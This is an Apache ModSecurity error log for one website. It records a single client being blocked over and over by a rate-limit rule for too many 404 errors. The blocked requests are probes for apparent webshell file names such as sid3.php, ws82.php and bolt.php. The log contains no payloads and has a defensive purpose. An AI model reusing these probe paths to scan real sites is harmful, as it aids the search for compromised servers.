[Wed Apr 15 19:18:28.359171 2026] [:error] [pid 30957:tid 31003] [client 172.161.107.89:32661] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/index.php"] [unique_id "ad90BH5gwVEVXHfVSipwkAAAAE4"]
[Wed Apr 15 19:18:28.673565 2026] [:error] [pid 37370:tid 37395] [client 172.161.107.89:32412] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/b.php"] [unique_id "ad90BHg-gnM2Ga0cGAAFrAAAARc"]
[Wed Apr 15 19:18:28.847007 2026] [:error] [pid 37370:tid 37392] [client 172.161.107.89:5157] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/index.php"] [unique_id "ad90BHg-gnM2Ga0cGAAFrgAAARQ"]
[Wed Apr 15 19:18:29.149034 2026] [:error] [pid 37370:tid 37381] [client 172.161.107.89:13537] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/b.php"] [unique_id "ad90BXg-gnM2Ga0cGAAFsgAAAQk"]
[Wed Apr 15 19:18:29.372113 2026] [:error] [pid 31053:tid 31069] [client 172.161.107.89:31175] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/index.php"] [unique_id "ad90BRcEkLCmvF0fjDesTQAAAI0"]
[Wed Apr 15 19:18:29.624607 2026] [:error] [pid 31053:tid 31078] [client 172.161.107.89:39233] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/b.php"] [unique_id "ad90BRcEkLCmvF0fjDesTwAAAJY"]
[Wed Apr 15 19:18:29.913284 2026] [:error] [pid 30957:tid 31012] [client 172.161.107.89:31145] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/index.php"] [unique_id "ad90BX5gwVEVXHfVSipwkQAAAFc"]
[Wed Apr 15 19:18:30.158701 2026] [:error] [pid 31053:tid 31063] [client 172.161.107.89:9609] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "ad90BhcEkLCmvF0fjDesUwAAAIc"]
[Wed Apr 15 19:18:30.439170 2026] [:error] [pid 31053:tid 31074] [client 172.161.107.89:9614] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "ad90BhcEkLCmvF0fjDesVgAAAJI"]
[Wed Apr 15 19:18:30.653029 2026] [:error] [pid 37370:tid 37374] [client 172.161.107.89:31190] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "ad90Bng-gnM2Ga0cGAAFugAAAQI"]
[Wed Apr 15 19:18:30.919618 2026] [:error] [pid 37370:tid 37385] [client 172.161.107.89:19151] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "ad90Bng-gnM2Ga0cGAAFvAAAAQ0"]
[Wed Apr 15 19:18:31.146864 2026] [:error] [pid 37370:tid 37387] [client 172.161.107.89:5127] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "ad90B3g-gnM2Ga0cGAAFvQAAAQ8"]
[Wed Apr 15 19:18:31.430568 2026] [:error] [pid 30956:tid 30971] [client 172.161.107.89:29522] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "ad90B0BGUpjaWntNYq1gwgAAAAs"]
[Wed Apr 15 19:18:31.620199 2026] [:error] [pid 37370:tid 37388] [client 172.161.107.89:19153] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "ad90B3g-gnM2Ga0cGAAFwQAAARA"]
[Wed Apr 15 19:18:31.920644 2026] [:error] [pid 30957:tid 31000] [client 172.161.107.89:9627] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "ad90B35gwVEVXHfVSipwlgAAAEs"]
[Wed Apr 15 19:18:32.133471 2026] [:error] [pid 37370:tid 37376] [client 172.161.107.89:30296] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "ad90CHg-gnM2Ga0cGAAFxQAAAQQ"]
[Wed Apr 15 19:18:32.399955 2026] [:error] [pid 37370:tid 37374] [client 172.161.107.89:31169] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/900.php"] [unique_id "ad90CHg-gnM2Ga0cGAAFywAAAQI"]
[Wed Apr 15 19:18:32.634823 2026] [:error] [pid 30957:tid 31002] [client 172.161.107.89:29505] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "ad90CH5gwVEVXHfVSipwmAAAAE0"]
[Wed Apr 15 19:18:32.881668 2026] [:error] [pid 30957:tid 31008] [client 172.161.107.89:15285] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/900.php"] [unique_id "ad90CH5gwVEVXHfVSipwmgAAAFM"]
[Wed Apr 15 19:18:33.159759 2026] [:error] [pid 30956:tid 30966] [client 172.161.107.89:25159] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "ad90CUBGUpjaWntNYq1gxQAAAAY"]
[Wed Apr 15 19:18:33.379967 2026] [:error] [pid 30956:tid 30979] [client 172.161.107.89:9616] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/900.php"] [unique_id "ad90CUBGUpjaWntNYq1gxgAAABM"]
[Wed Apr 15 19:18:33.642446 2026] [:error] [pid 30957:tid 30997] [client 172.161.107.89:15277] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "ad90CX5gwVEVXHfVSipwnAAAAEg"]
[Wed Apr 15 19:18:33.874567 2026] [:error] [pid 30957:tid 30990] [client 172.161.107.89:19188] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/900.php"] [unique_id "ad90CX5gwVEVXHfVSipwnwAAAEE"]
[Wed Apr 15 19:18:34.134547 2026] [:error] [pid 30957:tid 31009] [client 172.161.107.89:5151] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad90Cn5gwVEVXHfVSipwoAAAAFQ"]
[Wed Apr 15 19:18:34.394088 2026] [:error] [pid 30958:tid 31025] [client 172.161.107.89:32423] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a5.php"] [unique_id "ad90CseG3wSKTO7NWFGNEAAAAMk"]
[Wed Apr 15 19:18:34.660379 2026] [:error] [pid 30958:tid 31036] [client 172.161.107.89:5178] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad90CseG3wSKTO7NWFGNEQAAANQ"]
[Wed Apr 15 19:18:34.937418 2026] [:error] [pid 30958:tid 31038] [client 172.161.107.89:15244] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a5.php"] [unique_id "ad90CseG3wSKTO7NWFGNEgAAANY"]
[Wed Apr 15 19:18:35.133218 2026] [:error] [pid 30957:tid 31003] [client 172.161.107.89:25130] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad90C35gwVEVXHfVSipwoQAAAE4"]
[Wed Apr 15 19:18:35.418529 2026] [:error] [pid 30958:tid 31016] [client 172.161.107.89:25160] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a5.php"] [unique_id "ad90C8eG3wSKTO7NWFGNFgAAAMA"]
[Wed Apr 15 19:18:35.616510 2026] [:error] [pid 30958:tid 31031] [client 172.161.107.89:26649] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad90C8eG3wSKTO7NWFGNFwAAAM8"]
[Wed Apr 15 19:18:35.892927 2026] [:error] [pid 37370:tid 37378] [client 172.161.107.89:37528] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a5.php"] [unique_id "ad90C3g-gnM2Ga0cGAAF3AAAAQY"]
[Wed Apr 15 19:18:36.106471 2026] [:error] [pid 30958:tid 31018] [client 172.161.107.89:37909] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad90DMeG3wSKTO7NWFGNGgAAAMI"]
[Wed Apr 15 19:18:36.379411 2026] [:error] [pid 37370:tid 37375] [client 172.161.107.89:9633] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/term.php"] [unique_id "ad90DHg-gnM2Ga0cGAAF3gAAAQM"]
[Wed Apr 15 19:18:36.597206 2026] [:error] [pid 37370:tid 37386] [client 172.161.107.89:42906] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad90DHg-gnM2Ga0cGAAF4AAAAQ4"]
[Wed Apr 15 19:18:36.878049 2026] [:error] [pid 30957:tid 31012] [client 172.161.107.89:27898] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/term.php"] [unique_id "ad90DH5gwVEVXHfVSipwogAAAFc"]
[Wed Apr 15 19:18:37.079228 2026] [:error] [pid 30958:tid 31029] [client 172.161.107.89:9607] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad90DceG3wSKTO7NWFGNHQAAAM0"]
[Wed Apr 15 19:18:37.414635 2026] [:error] [pid 30958:tid 31040] [client 172.161.107.89:37508] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/term.php"] [unique_id "ad90DceG3wSKTO7NWFGNHgAAANg"]
[Wed Apr 15 19:18:37.554548 2026] [:error] [pid 30956:tid 30973] [client 172.161.107.89:28165] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad90DUBGUpjaWntNYq1gywAAAA0"]
[Wed Apr 15 19:18:37.885032 2026] [:error] [pid 37370:tid 37376] [client 172.161.107.89:32407] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/term.php"] [unique_id "ad90DXg-gnM2Ga0cGAAF5wAAAQQ"]
[Wed Apr 15 19:18:38.052821 2026] [:error] [pid 37370:tid 37393] [client 172.161.107.89:31192] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad90Dng-gnM2Ga0cGAAF6QAAARU"]
[Wed Apr 15 19:18:38.382580 2026] [:error] [pid 37370:tid 37385] [client 172.161.107.89:29531] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/b.php"] [unique_id "ad90Dng-gnM2Ga0cGAAF6wAAAQ0"]
[Wed Apr 15 19:18:38.552481 2026] [:error] [pid 30957:tid 31008] [client 172.161.107.89:25172] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad90Dn5gwVEVXHfVSipwpwAAAFM"]
[Wed Apr 15 19:18:38.874751 2026] [:error] [pid 30957:tid 30994] [client 172.161.107.89:29538] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/b.php"] [unique_id "ad90Dn5gwVEVXHfVSipwqAAAAEU"]
[Wed Apr 15 19:18:39.045030 2026] [:error] [pid 30956:tid 30980] [client 172.161.107.89:26689] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad90D0BGUpjaWntNYq1gzwAAABQ"]
[Wed Apr 15 19:18:39.379531 2026] [:error] [pid 30957:tid 31013] [client 172.161.107.89:19150] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/b.php"] [unique_id "ad90D35gwVEVXHfVSipwqQAAAFg"]
[Wed Apr 15 19:18:39.542105 2026] [:error] [pid 30956:tid 30979] [client 172.161.107.89:5166] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad90D0BGUpjaWntNYq1g0QAAABM"]
[Wed Apr 15 19:18:39.911261 2026] [:error] [pid 30957:tid 30997] [client 172.161.107.89:9642] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/b.php"] [unique_id "ad90D35gwVEVXHfVSipwqgAAAEg"]
[Wed Apr 15 19:18:40.094982 2026] [:error] [pid 30957:tid 30993] [client 172.161.107.89:15234] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad90EH5gwVEVXHfVSipwqwAAAEQ"]
[Wed Apr 15 19:18:40.477792 2026] [:error] [pid 37370:tid 37393] [client 172.161.107.89:31130] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "ad90EHg-gnM2Ga0cGAAF-AAAARU"]
[Wed Apr 15 19:18:40.583826 2026] [:error] [pid 30957:tid 31003] [client 172.161.107.89:29174] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad90EH5gwVEVXHfVSipwrQAAAE4"]
[Wed Apr 15 19:18:41.006728 2026] [:error] [pid 31053:tid 31063] [client 172.161.107.89:37900] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "ad90ERcEkLCmvF0fjDesVwAAAIc"]
[Wed Apr 15 19:18:41.103009 2026] [:error] [pid 30956:tid 30968] [client 172.161.107.89:32418] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad90EUBGUpjaWntNYq1g1AAAAAg"]
[Wed Apr 15 19:18:41.507081 2026] [:error] [pid 31053:tid 31074] [client 172.161.107.89:32385] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "ad90ERcEkLCmvF0fjDesWQAAAJI"]
[Wed Apr 15 19:18:41.596287 2026] [:error] [pid 37370:tid 37392] [client 172.161.107.89:29559] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad90EXg-gnM2Ga0cGAAF_wAAARQ"]
[Wed Apr 15 19:18:42.027531 2026] [:error] [pid 37370:tid 37386] [client 172.161.107.89:15241] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "ad90Eng-gnM2Ga0cGAAGAgAAAQ4"]
[Wed Apr 15 19:18:42.091612 2026] [:error] [pid 30957:tid 31012] [client 172.161.107.89:42902] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad90En5gwVEVXHfVSipwsAAAAFc"]
